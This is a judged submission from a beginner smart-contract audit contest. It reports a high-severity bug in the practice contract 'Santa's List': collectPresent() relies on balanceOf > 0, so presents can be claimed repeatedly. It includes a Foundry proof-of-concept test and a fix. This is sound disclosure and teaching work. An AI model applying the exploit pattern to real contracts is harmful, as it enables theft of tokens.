First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`SantasList::collectPresent()` allows to collect a present multiple times

0xloscar01

Summary

The collectPresent() function reverts if msg.sender balance is greater than 0 however this check is not sufficient because the user that collects the present can transfer it to another address and then collect the present again.

if (balanceOf(msg.sender) > 0) {
revert SantasList__AlreadyCollected();
}

Vulnerability Details

Test

Copy paste the following function inside SantasListTest.t.sol

function testCanCollectPresentMultipleTimes() public {
address attacker = makeAddr("attacker");
address user2 = makeAddr("user2"); // address owned by attacker
​
vm.startPrank(santa); // santa checks user status
santasList.checkList(attacker, SantasList.Status.NICE);
santasList.checkTwice(attacker, SantasList.Status.NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1); // warp to christmas
​
vm.startPrank(attacker); // attacker collects present
santasList.collectPresent();
​
santasList.transferFrom(attacker, user2, 0); // attacker transfers present to user2
​
santasList.collectPresent(); // attacker collects the present again
vm.stopPrank();
​
assertEq(santasList.balanceOf(attacker), 1);
assertEq(santasList.balanceOf(user2), 1);
​
vm.startPrank(user2);
santasList.transferFrom(user2, attacker, 0); // user2 transfers present to attacker
​
assertEq(santasList.balanceOf(attacker), 2); // attacker now has 2 presents
}

Impact

Users can claim unlimited presents

Tools Used

Foundry

Recommendations

Consider using a new enum value and setting it after the present is claimed:

  1. Add a new value to Status enum

enum Status {
NICE,
EXTRA_NICE,
NAUGHTY,
- NOT_CHECKED_TWICE
+ NOT_CHECKED_TWICE,
+ ALREADY_COLLECTED
}

  1. Change the status of the person who collected the present so he can't collect it twice.

function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
- if (balanceOf(msg.sender) > 0) {
+ if (s_theListCheckedTwice[msg.sender] == Status.ALREADY_COLLECTED) {
revert SantasList__AlreadyCollected();
}
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
_mintAndIncrement();
+ s_theListCheckedTwice[msg.sender] = Status.ALREADY_COLLECTED;
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
_mintAndIncrement();
i_santaToken.mint(msg.sender);
+ s_theListCheckedTwice[msg.sender] = Status.ALREADY_COLLECTED;
return;
}
revert SantasList__NotNice();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.